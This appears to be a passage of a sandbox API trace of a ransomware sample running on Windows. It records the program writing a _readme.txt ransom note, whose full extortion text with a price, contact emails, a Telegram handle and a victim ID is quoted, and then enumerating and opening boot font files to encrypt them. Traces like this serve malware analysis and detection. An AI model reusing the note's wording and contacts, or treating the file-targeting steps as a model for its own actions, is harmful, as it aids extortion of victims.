(in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.656] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.656] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.656] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.656] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.656] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.656] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.656] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0116.656] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.656] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.656] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.656] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.656] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.656] PathFindFileNameW (pszPath="") returned="" [0116.657] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.657] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.657] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.657] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.657] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.657] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.657] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.657] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f46f8 | out: hHeap=0xd10000) returned 1 [0116.657] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.657] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.657] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.657] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.657] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.657] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.657] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.657] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81c) returned 0x39dc2a8 [0116.657] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0116.657] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.657] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.657] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0116.658] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f9f20 [0116.658] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.658] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.658] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.658] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.658] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.658] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.658] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.658] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.658] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.658] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.658] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.658] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0116.658] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.658] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.658] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.658] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\chs_boot.ttf") returned=".ttf" [0116.658] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.659] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.659] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0116.659] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.659] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.659] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.659] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\cht_boot.ttf") returned=".ttf" [0116.659] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.660] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0116.660] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.660] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.660] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.660] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\jpn_boot.ttf") returned=".ttf" [0116.660] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.660] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0116.660] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.660] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.660] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.660] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\kor_boot.ttf") returned=".ttf" [0116.660] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.660] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0116.660] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.660] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.660] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.660] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned=".ttf" [0116.660] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.660] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0116.661] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.661] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.661] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.661] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.661] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.661] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.661] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.661] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.661] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.661] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.661] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.661] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.661] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.661] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.661] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.661] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.661] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.661] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.661] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.661] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.661] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.661] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.661] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.661] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.661] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.661] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.661] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.661] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.661] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.661] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.662] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.662] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.662] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.662] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.662] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.662] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.662] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.662] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.662] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.662] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.662] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.662] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.662] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.662] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.662] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.662] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.663] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.663] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.663] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.663] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.663] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.663] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.663] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.663] RtlAllocateHeap 